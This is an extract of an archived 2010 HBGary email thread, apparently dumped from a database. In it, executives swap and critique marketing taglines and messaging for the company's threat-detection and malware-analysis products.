Management\r\n\r\n\r\n\r\n\r\n\r\nEnterprise\r\nThreat Detection and Risk Management\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTaglines:\r\n\r\n\r\n\r\n\r\n\r\nWhen\r\nbeing compliant is just the starting point.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen\r\nbeing compliant isn\'t good enough\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIts\r\n12am, do you know whats hiding in your memory?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBringing\r\nmalware analysis to Net Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDetecting\r\ntomorrows threats today. (shawn)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDetection\r\nthat evolves as quickly as the threat.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWords\r\nto use: Proactive Detection, Dynamic Detection, Proactive Defense, Dynamic\r\nDefense, Enterprise, Advanced Threats, Risk Management, Mission Assurance,\r\nAssured Security, Threat Detection\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMy\r\n2 cents is you need a single vision but maybe slightly tailored to different\r\naudiences.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFirst\r\nwhat is the Vision.\r\n\r\n\r\n\r\n\r\n\r\nSecond\r\nwhat are your markets.\r\n\r\n\r\n\r\n\r\n\r\nThird,\r\nwhat are their hotbuttons in each market (compliance, intelligence, mission\r\nassurance)\r\n\r\n\r\n\r\n\r\n\r\nFourth,\r\nmessaging per environment based on 1-3.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVision:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMarkets:\r\n\r\n\r\n\r\n\r\n\r\nFederal:\r\n\r\n\r\n\r\n\r\n\r\nState/Local:\r\n\r\n\r\n\r\n\r\n\r\nCommercial:\r\n(maybe want to break these out further banking, etc) but that might also dilute\r\nyour messaging.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHotbuttons:\r\n\r\n\r\n\r\n\r\n\r\nFederal:\r\nIntelligence, Mission Assurance, Combating APT, CIP, protection of\r\nsensitive/classified information.\r\n\r\n\r\n\r\n\r\n\r\nState/Local:\r\nCost/Compliance,\r\n\r\n\r\n\r\n\r\n\r\nCommercial:\r\nRisk/Compliance, IP\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink usecases or summaries of how HBGary products could be used effectively in\r\neach market segment would be helpful for people to grasp the significance\r\nquickly.\r\n\r\n\r\n\r\n\r\n\r\n1.\r\nHow can HBGary be used to combat APT better than anyone else. &nbsp;How to we\r\nprotect the mission, provide net defense capability.\r\n\r\n\r\n\r\n\r\n\r\n2.\r\n&nbsp;How does HBGary benefit compliance, IP protection, risk mitigation.\r\n&nbsp;how does it save them money.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMight\r\nwant to illustrate our benefit with partner integration, foundstone, verdasys,\r\nfidelis, etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nApr 11, 2010, at 8:05 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow\r\nthis?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCombat\r\nGlobal Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&#8220;combat&#8221;\r\nis both offense and defense.&nbsp; Implies an&nbsp; ongoing battle.&nbsp; Works\r\nfor both gov&#8217;t and private sector.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Greg Hoglund\r\n[mailto:greg@hbgary.com]&nbsp;\r\nSent:&nbsp;Sunday, April 11,\r\n2010 2:34 PM\r\nTo:&nbsp;all@hbgary.com; Karen Burke\r\nSubject:&nbsp;Some New Taglines\r\nfrom Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nare some taglines I just cooked up.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#1.\r\nAssured Cyber Defense against Global Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n\'Assured\' means we can deliver where the IDS and AV vendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Global Threat&quot; is a big-boy way to say APT.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Defense&quot; implies that we have an Enteprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Cyber&quot; has to be present, otherwise you can\'t tell what kind of\r\nthreat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\nkind of wordy\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#2.\r\nAssured Defense against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Assured Defense&quot; means we can deliver where IDS and AV fails\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Assured Defense&quot; implies enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Cyber&quot; has to be present, otherwise you can\'t tell what kind of\r\nthreat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Global Cyber Threats&quot; is not as strong as &quot;Global Threats&quot;\r\nwith respect to APT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Global Cyber Threats&quot; can mean Russian bank-info stealing malware,\r\nwhere &quot;Global Threats&quot; implies governments and hostile organizations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#3.\r\nAssured Cyber Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n\'Assured\' means we can deliver where the IDS and AV vendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\nUsing the word Defense implies Threat.&nbsp;&nbsp;So, these two words are\r\ninterchangable.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#4.\r\nAssurance against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp;&quot;Assurance&quot;\r\nimplies more of an ongoing&nbsp;partnership, as opposed to a product-focus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\ndoesn\'t come off as wordy, lets us get the big-boy version of APT in\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\ndoesn\'t have the &quot;we are a product company&quot; punch\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#4.\r\nCyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp;\r\nUsing the word Protection requires additional clarifying\r\nwords.&nbsp;&nbsp;Hence, &quot;Cyber Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Protection&quot; absolutely implies product, but not neccesarily\r\nenteprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Protection&quot; can easily be confused with consumer grade protection\r\n&amp; AV\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#5.\r\nCyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\nVery broad scope, accurate for everything we do\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Defense&quot; implies enterprise product, but could also mean incident\r\nresponse services\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Cyber Threat&quot; is not a strong APT equivalent, and could mean viruses\r\nand banking malware\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;Cyber Threat&quot; is not strong like &quot;Global Cyber Threat&quot; or\r\n&quot;Global Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#6.\r\nCyber Threat Defense for the Enterprise\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-\r\n&quot;for the Enterprise&quot; brings home the point that we offer an\r\nEnterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSome\r\nvariations of the above:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured\r\nCyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured\r\nCyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCyber\r\nAssurance in a Hostile World\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured\r\nDefense in&nbsp;Hostile Cyberspace\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n14:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n14:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6244,'aaron_hbgary_com/6244.html'),(5161,'2010-04-12','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003788.M622899P14101Q16.eml','\"Aaron Barr\" <aaron@hbgary.com>,shawn@Hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,shawn@Hbgary.com,,','Re: Some New Taglines from Greg','I really like \r\n&quot;Detect Tommorow&#39;s Threats Today&quot;\r\n \r\nIt has proactive all over it.  It implies the threat is evolving, which licks the APT stamp.  &quot;Detect&quot; implies we have an Enterprise product.  It also implies that we track said threats in order to stay ahead of them.  With this message, we don&#39;t have the say &#39;Defend&#39;, that&#39;s implied because tommorow&#39;s threat hasn&#39;t hit yet.  &#39;Tommorow/Today&#39; is a stroke of genius - it puts motion into the message and positions HBGary as a shepard in the otherwise hostile evolving cyber-threat space. \r\n\r\n \r\n-Greg\r\nOn Mon, Apr 12, 2010 at 6:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nMaybe another tagline: \r\n\r\nTaking reverse engineering out of malware analysis and threat detection. \r\n\r\nAaron \r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 8:58 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\nLet’s remember that we are far more than just detection.  The messaging needs to be inclusive of our incident response and reverse engineering as these are important components that come after detection to combat threats.\r\n\r\n \r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 8:41 AMTo: Bob Slapnik; Greg Hoglund; Penny Leavy; Rich CummingsCc: Karen BurkeSubject: Re: Some New Taglines from Greg\r\n\r\n \r\nSome thoughts on Branding.\r\n\r\n \r\n\r\nVision:\r\n\r\nProactive Defense for Advanced Threats.\r\n\r\nAdvanced Threat Detection\r\n\r\nEnterprise Threat Detection\r\n\r\nAdvanced Threat Detection and Risk Management\r\n\r\nEnterprise Threat Detection and Risk Management\r\n\r\n \r\n\r\nTaglines:\r\n\r\nWhen being compliant is just the starting point.\r\n\r\n\r\nWhen being compliant isn&#39;t good enough\r\n\r\n\r\nIts 12am, do you know whats hiding in your memory?\r\n\r\n\r\nBringing malware analysis to Net Defense\r\n\r\n\r\nDetecting tomorrows threats today. (shawn)\r\n\r\n\r\nDetection that evolves as quickly as the threat.\r\n\r\n \r\n\r\nWords to use: Proactive Detection, Dynamic Detection, Proactive Defense, Dynamic Defense, Enterprise, Advanced Threats, Risk Management, Mission Assurance, Assured Security, Threat Detection\r\n\r\n\r\n \r\n\r\n\r\nMy 2 cents is you need a single vision but maybe slightly tailored to different audiences.\r\n\r\n \r\n\r\nFirst what is the Vision.\r\n\r\nSecond what are your markets.\r\n\r\nThird, what are their hotbuttons in each market (compliance, intelligence, mission assurance)\r\n\r\nFourth, messaging per environment based on 1-3.\r\n\r\n \r\n\r\nVision:\r\n\r\n \r\n\r\nMarkets:\r\n\r\nFederal:\r\n\r\nState/Local:\r\n\r\nCommercial: (maybe want to break these out further banking, etc) but that might also dilute your messaging.\r\n\r\n \r\n\r\nHotbuttons:\r\n\r\nFederal: Intelligence, Mission Assurance, Combating APT, CIP, protection of sensitive/classified information.\r\n\r\nState/Local: Cost/Compliance,\r\n\r\nCommercial: Risk/Compliance, IP\r\n\r\n \r\n\r\nI think usecases or summaries of how HBGary products could be used effectively in each market segment would be helpful for people to grasp the significance quickly.\r\n\r\n\r\n1. How can HBGary be used to combat APT better than anyone else.  How to we protect the mission, provide net defense capability.\r\n\r\n\r\n2.  How does HBGary benefit compliance, IP protection, risk mitigation.  how does it save them money.\r\n\r\n \r\n\r\nMight want to illustrate our benefit with partner integration, foundstone, verdasys, fidelis, etc.\r\n\r\n \r\n\r\nAaron\r\n\r\n \r\n\r\n\r\n\r\nOn Apr 11, 2010, at 8:05 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\nHow this?\r\n\r\n \r\n\r\nCombat Global Cyber Threats\r\n\r\n\r\n \r\n\r\n“combat” is both offense and defense.  Implies an  ongoing battle.  Works for both gov’t and private sector.\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] \r\nSent: Sunday, April 11, 2010 2:34 PMTo: all@hbgary.com; Karen BurkeSubject: Some New Taglines from Greg\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\nTeam,\r\n\r\n\r\nHere are some taglines I just cooked up.\r\n\r\n\r\n \r\n\r\n\r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n\r\n\r\n \r\n\r\n\r\n- &#39;Assured&#39; means we can deliver where the IDS and AV vendors have failed. \r\n\r\n\r\n- &quot;Global Threat&quot; is a big-boy way to say APT.\r\n\r\n\r\n- &quot;Defense&quot; implies that we have an Enteprise product\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can&#39;t tell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n- kind of wordy\r\n\r\n\r\n \r\n\r\n\r\n#2. Assured Defense against Global Cyber Threats\r\n\r\n\r\n \r\n\r\n\r\n- &quot;Assured Defense&quot; means we can deliver where IDS and AV fails\r\n\r\n\r\n- &quot;Assured Defense&quot; implies enterprise product\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can&#39;t tell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; is not as strong as &quot;Global Threats&quot; with respect to APT\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; can mean Russian bank-info stealing malware, where &quot;Global Threats&quot; implies governments and hostile organizations\r\n\r\n\r\n\r\n \r\n\r\n\r\n#3. Assured Cyber Defense\r\n\r\n\r\n \r\n\r\n\r\n\r\n- &#39;Assured&#39; means we can deliver where the IDS and AV vendors have failed. \r\n\r\n\r\n- Using the word Defense implies Threat.  So, these two words are interchangable.\r\n\r\n\r\n \r\n\r\n\r\n#4. Assurance against Global Cyber Threats\r\n\r\n\r\n \r\n\r\n\r\n\r\n- &quot;Assurance&quot; implies more of an ongoing partnership, as opposed to a product-focus\r\n\r\n\r\n- doesn&#39;t come off as wordy, lets us get the big-boy version of APT in\r\n\r\n\r\n- doesn&#39;t have the &quot;we are a product company&quot; punch\r\n\r\n\r\n \r\n\r\n\r\n#4. Cyber Threat Protection\r\n\r\n\r\n \r\n\r\n\r\n-  Using the word Protection requires additional clarifying words.  Hence, &quot;Cyber Threat&quot;\r\n\r\n\r\n- &quot;Protection&quot; absolutely implies product, but not neccesarily enteprise product\r\n\r\n\r\n- &quot;Protection&quot; can easily be confused with consumer grade protection &amp; AV\r\n\r\n\r\n \r\n\r\n\r\n#5. Cyber Threat Defense\r\n\r\n\r\n \r\n\r\n\r\n- Very broad scope, accurate for everything we do\r\n\r\n\r\n- &quot;Defense&quot; implies enterprise product, but could also mean incident response services\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not a strong APT equivalent, and could mean viruses and banking malware\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not strong like &quot;Global Cyber Threat&quot; or &quot;Global Threat&quot;\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n\r\n\r\n \r\n\r\n\r\n- &quot;for the Enterprise&quot; brings home the point that we offer an Enterprise product\r\n\r\n\r\n \r\n\r\n\r\nSome variations of the above:\r\n\r\n\r\n \r\n\r\n\r\nAssured Cyber Threat Protection\r\n\r\n\r\nAssured Cyber Threat Defense\r\n\r\n\r\nCyber Assurance in a Hostile World\r\n\r\n\r\n\r\nAssured Defense in Hostile Cyberspace\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n \r\nNo virus found in this incoming message.Checked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 02:32:00\r\n \r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n \r\n \r\n \r\nNo virus found in this incoming message.Checked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 14:32:00\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4257,'aaron_hbgary_com/4257.html'),(5162,'2010-04-12','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003788.M881815P14101Q17.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,shawn@Hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,shawn@Hbgary.com','RE: Some New Taglines from Greg','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIt works.&nbsp; Has a nice ring to it too.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, April 12, 2010 10:33 AM\r\nTo: Aaron Barr; shawn@Hbgary.com\r\nCc: Bob Slapnik; Penny Leavy; Rich Cummings; Karen Burke\r\nSubject: Re: Some New Taglines from Greg\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI really like \r\n\r\n\r\n\r\n\r\n\r\n&quot;Detect Tommorow\'s Threats Today&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt has proactive all over it.&nbsp; It implies the threat is\r\nevolving, which licks the APT stamp.&nbsp;\r\n&quot;Detect&quot;&nbsp;implies&nbsp;we have an Enterprise product.&nbsp; It also\r\nimplies that we track said threats in order to stay ahead of them.&nbsp; With\r\nthis message, we don\'t have the say \'Defend\', that\'s implied because tommorow\'s\r\nthreat hasn\'t hit yet.&nbsp; \'Tommorow/Today\' is a stroke of&nbsp;genius - it\r\nputs motion into&nbsp;the message and positions HBGary as a shepard in&nbsp;the\r\notherwise hostile evolving&nbsp;cyber-threat space.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Apr 12, 2010 at 6:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nMaybe another tagline: \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTaking reverse engineering out of malware analysis and\r\nthreat detection. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 8:58 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s remember that we are far more than just detection.&nbsp;\r\nThe messaging needs to be inclusive of our incident response and reverse\r\nengineering as these are important components that come after detection to\r\ncombat threats.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 12, 2010 8:41 AM\r\nTo:&nbsp;Bob Slapnik; Greg Hoglund; Penny Leavy; Rich Cummings\r\nCc:&nbsp;Karen Burke\r\nSubject:&nbsp;Re: Some New Taglines from Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSome thoughts on Branding.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVision:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nProactive Defense for Advanced Threats.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Threat Detection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEnterprise Threat Detection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Threat Detection and Risk Management\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEnterprise Threat Detection and Risk Management\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTaglines:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen being compliant is just the starting point.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen being compliant isn\'t good enough\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIts 12am, do you know whats hiding in your memory?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBringing malware analysis to Net Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDetecting tomorrows threats today. (shawn)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDetection that evolves as quickly as the threat.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWords to use: Proactive Detection, Dynamic Detection,\r\nProactive Defense, Dynamic Defense, Enterprise, Advanced Threats, Risk\r\nManagement, Mission Assurance, Assured Security, Threat Detection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMy 2 cents is you need a single vision but maybe slightly\r\ntailored to different audiences.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFirst what is the Vision.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSecond what are your markets.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThird, what are their hotbuttons in each market (compliance,\r\nintelligence, mission assurance)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFourth, messaging per environment based on 1-3.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVision:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMarkets:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFederal:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nState/Local:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCommercial: (maybe want to break these out further banking,\r\netc) but that might also dilute your messaging.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHotbuttons:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFederal: Intelligence, Mission Assurance, Combating APT,\r\nCIP, protection of sensitive/classified information.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nState/Local: Cost/Compliance,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCommercial: Risk/Compliance, IP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think usecases or summaries of how HBGary products could\r\nbe used effectively in each market segment would be helpful for people to grasp\r\nthe significance quickly.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1. How can HBGary be used to combat APT better than anyone\r\nelse. &nbsp;How to we protect the mission, provide net defense capability.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n2. &nbsp;How does HBGary benefit 